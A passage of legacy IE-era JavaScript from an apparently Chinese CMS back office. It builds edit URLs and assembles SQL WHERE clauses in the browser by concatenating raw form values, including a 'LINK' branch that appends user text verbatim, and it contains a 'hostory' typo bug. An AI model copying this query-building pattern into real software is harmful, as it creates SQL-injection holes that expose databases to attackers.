	     	parent.insertLabel(titlename,cmsType,url);
	     }catch(e){
	     	parent.parent.insertLabel(titlename,cmsType,url);
	     }
	     
	   }

function backToParent(win){
	var parentWin=win.opener;
	if(parentWin==null){
		hostory.go(-1);
		return;
	}
	try{
		var parentTitle=parentWin.document.title;
		if(!window.confirm("关闭窗口并返回 ["+parentTitle+"] 页面？")){
			return;
		}
		parentWin.focus();
		win.close();
	}catch(e){
		alert("无法返回：父窗口已关闭\n"+"按[确定]关闭本窗口!");
		win.close();
	}
}	   

   function myCommEditAlbum(module,dsTopId,opMaster,opLink,opName,opSort,titlename,cmsType){
	   	 var url = "/baby/goods.action?action=doBuildPic&module="
	   	 			+module+"&dsTop.opId="+dsTopId+"&op_master="+opMaster+"&cms_type="+cmsType
	              	+"&op_sort="+opSort+"&bean.opId="+opLink+"&bean.opName="+opName+"&myTime="+new Date();
	     try{
	     	parent.insertLabel(titlename,cmsType,url);
	     }catch(e){
	     	parent.parent.insertLabel(titlename,cmsType,url);
	     }
	     
	   }
	   
   function house2CommEditAlbum(module,dsTopId,opMaster,opLink,opName,opSort,titlename,cmsType){
	   	 var url = "/www/loanGoods.action?action=doBuildPic&module="
	   	 			+module+"&dsTop.opId="+dsTopId+"&op_master="+opMaster+"&cms_type="+cmsType
	              	+"&op_sort="+opSort+"&bean.opId="+opLink+"&bean.opName="+opName+"&myTime="+new Date();
	     try{
	     	parent.insertLabel(titlename,cmsType,url);
	     }catch(e){
	     	parent.parent.insertLabel(titlename,cmsType,url);
	     }
	     
	   }
	   
function doGetCorpWhereCond(){
//	   var thisForm = getFrontForm();
	   var thisForm = document.all("corpSearchForm");
	   if(thisForm==null||thisForm==undefined){
		   thisForm = getFrontForm();
	   }
	   var scope ;
	   if (thisForm.document.all("searchArea2") == undefined){
		   if (thisForm.document.all("searchScope") == undefined){
		      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
		      return ;
		   }else{
		   		scope = thisForm.document.all("searchScope");
		   }
	   }else{
	   		scope = thisForm.document.all("searchArea2");
	   }
	   var whereCond = "";
	   for(i = 0 ; i < scope.all.length ; i++)
	    {
	        var Element = scope.all[i];
	        if(Element.type=="text" || Element.type=="select-one" || Element.type=="hidden")
	        {  
	             if (Element.query != undefined && Element.value != "" ){
	             
	                 if (Element.query == "="){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + "='" + Element.value + "'";
	                 }else if (Element.query == "IN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " IN (" + Element.value + ")";
	                 }else if(Element.query.toUpperCase()=="LIKE" && Element.newName!=undefined){
	                     whereCond = whereCond 
	                       + " AND " + Element.newName.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	
	                 }else if (Element.query == "LIKE"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	                 }else if (Element.query == "BETWEEN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'"
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'";
	                 }else if (Element.query == "end"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin_price"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(12, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_price"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(10, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "begin_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "btInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".");
	                       		whereCond+= " >= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query == "ltInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT","."); 
		                       whereCond+= " <= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query.toUpperCase() == "SCOPE"){
	                      var scopeArr = Element.value.split("-");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " < '" + (parseFloat(scopeArr[1])) + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
		                        whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT","."); 
	                            	whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'"
	                            	+ " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " <= '" + (parseFloat(scopeArr[1])) + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "SCOPE2"){
	                      var scopeArr = Element.value.split("*");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " < '" + scopeArr[1] + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'"
	                            + " AND " + Element.name.replace("DOT",".")
	                            + " <= '" + scopeArr[1] + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "LINK"){
	                     var name = Element.name;
	                     name = name.replace("DOT",".");
	                     if (name.indexOf("op_id") == -1){
		                     if (name != undefined && name != ""){
		                         Element.value = Element.value.replace("op_id", name);
		                         while (Element.value.indexOf("op_id") != -1){
		                            Element.value = Element.value.replace("op_id", name);
		                         }
		                     }
	                     }
	                     whereCond = whereCond 
	                          + " AND " + Element.value ;
	                 }else{
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " LIKE '%" + Element.value + "%'";
	                 }
	             }
	        }
	    }
	    if(thisForm.document.all("compPage.whereCond").value!=null &&
	    	thisForm.document.all("compPage.whereCond").value.length>0){
	    	if (whereCond.length > 0){
	        	whereCond = thisForm.document.all("compPage.whereCond").value+" AND " + whereCond.substring(5, whereCond.length);
	    	}else{
	        	whereCond = thisForm.document.all("compPage.whereCond").value;
	    	}
	    }else{
	    	if (whereCond.length > 0){
	        	whereCond = "WHERE " + whereCond.substring(5, whereCond.length);
	    	}
	    }
	   
	    if(thisForm.document.all("compPage.whereCond").value==undefined){
	    	thisForm.document.all("whereCond").value = whereCond;
	    }else{
	        thisForm.document.all("compPage.whereCond").value = whereCond;
	    }
	    thisForm.document.all("corpSearchId").value = whereCond;
	    thisForm.document.all("compPage.pageNo").value = 1; 
	    thisForm.document.all("whereCond").value = whereCond;
	    thisForm.whereCond.value = whereCond;
		return whereCond;
}			   


function doGetBrokerWhereCond(){
	   var thisForm = getFrontForm();
	   if (thisForm.document.all("combinedQuery") == undefined){
	      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
	      return ;
	   };
	   var scope = thisForm.document.all("combinedQuery");
	   var whereCond = "";
	   for(i = 0 ; i < scope.all.length ; i++)
	    {
	        var Element = scope.all[i];
	        if(Element.type=="text" || Element.type=="select-one" || Element.type=="hidden")
	        {  
	             if (Element.query != undefined && Element.value != "" ){
	             
	                 if (Element.query == "="){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + "='" + Element.value + "'";
	                 }else if (Element.query == "IN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " IN (" + Element.value + ")";
	                 }else if(Element.query.toUpperCase()=="LIKE" && Element.newName!=undefined){
	                     whereCond = whereCond 
	                       + " AND " + Element.newName.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	
	                 }else if (Element.query == "LIKE"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	                 }else if (Element.query == "BETWEEN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'"
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'";
	                 }else if (Element.query == "end"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "btInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".");
	                       		whereCond+= " >= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query == "ltInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT","."); 
		                       whereCond+= " <= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query.toUpperCase() == "SCOPE"){
	                      var scopeArr = Element.value.split("-");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " < '" + (parseFloat(scopeArr[1])) + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
		                        whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT","."); 
	                            	whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'"
	                            	+ " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " <= '" + (parseFloat(scopeArr[1])) + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "SCOPE2"){
	                      var scopeArr = Element.value.split("*");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " < '" + scopeArr[1] + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'"
	                            + " AND " + Element.name.replace("DOT",".")
	                            + " <= '" + scopeArr[1] + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "LINK"){
	                     var name = Element.name;
	                     name = name.replace("DOT",".");
	                     if (name.indexOf("op_id") == -1){
		                     if (name != undefined && name != ""){
		                         Element.value = Element.value.replace("op_id", name);
		                         while (Element.value.indexOf("op_id") != -1){
		                            Element.value = Element.value.replace("op_id", name);
		                         }
		                     }
	                     }
	                     whereCond = whereCond 
	                          + " AND " + Element.value ;
	                 }else{
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " LIKE '%" + Element.value + "%'";
	                 }
	             }
	        }
	    }
	    if(thisForm.document.all("compPage.whereCond").value!=null &&
	    	thisForm.document.all("compPage.whereCond").value.length>0){
	    	if (whereCond.length > 0){
	        	whereCond = thisForm.document.all("compPage.whereCond").value+" AND " + whereCond.substring(5, whereCond.length);
	    	}else{
	        	whereCond = thisForm.document.all("compPage.whereCond").value;
	    	}
	    }else{
	    	if (whereCond.length > 0){
	        	whereCond = "WHERE " + whereCond.substring(5, whereCond.length);
	    	}
	    }
	    if(thisForm.document.all("compPage.whereCond").value==undefined){
	    	thisForm.document.all("whereCond").value = whereCond;
	    }
	    thisForm.document.all("compPage.whereCond").value = whereCond;
	    thisForm.document.all("combinedQueryCond").value = whereCond;
	    thisForm.document.all("compPage.pageNo").value = 1; 
	    return whereCond;
}		

function doGetWhereCond(formName,searchScope){
//	   var thisForm = getFrontForm();
	   var thisForm = document.all(formName);
	   if(thisForm==null||thisForm==undefined){
		   thisForm = getFrontForm();
	   }
	   var scope ;
	   if (thisForm.document.all(searchScope) == undefined){
		   if (thisForm.document.all(searchScope) == undefined){
		      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
		      return ;
		   }else{
		   		scope = thisForm.document.all(searchScope);
		   }
	   }else{
	   		scope = thisForm.document.all(searchScope);
	   }
	   var whereCond = "";
	   for(i = 0 ; i < scope.all.length ; i++)
	    {
	        var Element = scope.all[i];
	        if(Element.type=="text" || Element.type=="select-one" || Element.type=="hidden")
	        {  
	             if (Element.query != undefined && Element.value != "" ){
	             
	                 if (Element.query == "="){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + "='" + Element.value + "'";
	                 }else if (Element.query == "IN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " IN (" + Element.value + ")";
	                 }else if(Element.query.toUpperCase()=="LIKE" && Element.newName!=undefined){
	                     whereCond = whereCond 
	                       + " AND " + Element.newName.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	
	                 }else if (Element.query == "LIKE"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	                 }else if (Element.query == "BETWEEN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'"
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'";
	                 }else if (Element.query == "end"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin_price"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(12, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_price"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(10, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "begin_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "btInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".");
	                       		whereCond+= " >= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query == "ltInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT","."); 
		                       whereCond+= " <= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query.toUpperCase() == "SCOPE"){
	                      var scopeArr = Element.value.split("-");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " < '" + (parseFloat(scopeArr[1])) + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
		                        whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT","."); 
	                            	whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'"
	                            	+ " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " <= '" + (parseFloat(scopeArr[1])) + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "SCOPE2"){
	                      var scopeArr = Element.value.split("*");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " < '" + scopeArr[1] + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'"
	                            + " AND " + Element.name.replace("DOT",".")
	                            + " <= '" + scopeArr[1] + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "LINK"){
	                     var name = Element.name;
	                     name = name.replace("DOT",".");
	                     if (name.indexOf("op_id") == -1){
		                     if (name != undefined && name != ""){
		                         Element.value = Element.value.replace("op_id", name);
		                         while (Element.value.indexOf("op_id") != -1){
		                            Element.value = Element.value.replace("op_id", name);
		                         }
		                     }
	                     }
	                     whereCond = whereCond 
	                          + " AND " + Element.value ;
	                 }else{
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " LIKE '%" + Element.value + "%'";
	                 }
	             }
	        }
	    }
	    if(thisForm.document.all("compPage.whereCond").value!=null &&
	    	thisForm.document.all("compPage.whereCond").value.length>0){
	    	if (whereCond.length > 0){
	        	whereCond = thisForm.document.all("compPage.whereCond").value+" AND " + whereCond.substring(5, whereCond.length);
	    	}else{
	        	whereCond = thisForm.document.all("compPage.whereCond").value;
	    	}
	    }else{
	    	if (whereCond.length > 0){
	        	whereCond = "WHERE " + whereCond.substring(5, whereCond.length);
	    	}
	    }
	   
	    if(thisForm.document.all("compPage.whereCond").value==undefined){
	    	thisForm.document.all("whereCond").value = whereCond;
	    }else{
	        thisForm.document.all("compPage.whereCond").value = whereCond;
	    }
	    thisForm.document.all("corpSearchId").value = whereCond;
	    thisForm.document.all("compPage.pageNo").value = 1; 
	    thisForm.document.all("whereCond").value = whereCond;
	    thisForm.whereCond.value = whereCond;
		return whereCond;
}	